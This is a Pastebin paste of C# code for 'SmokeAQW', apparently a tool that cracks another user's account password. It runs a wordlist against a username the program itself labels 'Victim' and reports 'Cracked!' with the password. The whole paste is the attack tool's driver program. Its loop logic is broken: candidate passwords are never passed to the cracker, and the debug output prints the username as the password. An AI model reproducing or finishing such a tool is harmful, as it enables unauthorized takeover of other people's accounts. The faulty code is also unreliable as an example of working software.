Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Runtime.InteropServices;
- using ConsoleApplication1.Cracker;
- using ConsoleApplication1.Cracker.Methods;
- namespace ConsoleApplication1
- {
- class Program
- {
- const string SAQW_Version = "2.0";
- const string SAQW_Title = ("SmokeAQW V "+ SAQW_Version);
- static void Main(string[] args)
- {
- string Target;
- string Password;
- int StartFrom;
- Console.Title = SAQW_Title.ToString();
- Console.WriteLine("Welcome to SmokeAQW V{0}", SAQW_Version);
- Console.WriteLine("Please enter a Username to crack:");
- Target = Console.ReadLine();
- Console.WriteLine("Please Value to start from:");
- StartFrom = int.Parse(Console.ReadLine());
- Console.WriteLine("Victim: {0}\nStartsFrom: {1}", Target, StartFrom);
- //Declares Objects.
- Cracker.Cracker AccountCracker = new Cracker.Cracker(Target);
- Cracker.Methods.WordList Passwords = new Cracker.Methods.WordList("wordlist1.txt", StartFrom);
- AccountCracker.Password = null;
- while (AccountCracker.Run())
- {
- try
- {
- RunPasswords:
- while ((Password = Passwords.Next()) != null)
- {
- Console.Write("\rCurrent Try: {0}", AccountCracker.PasswordCount);
- {
- AccountCracker.DEBUG("Cracker", "Current Password: " + AccountCracker.Username);
- }
- }
- if(!Passwords.Terminated)
- goto RunPasswords;
- }
- finally { Passwords.Terminate(); }
- Console.Write("\rCurrent Try: {0}", AccountCracker.PasswordCount);
- AccountCracker.Password = Password;
- }
- Console.WriteLine("\nCracked!\nUsername: {0}\nPassword: {1}", AccountCracker.Username , AccountCracker.Password);
- Console.Read();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement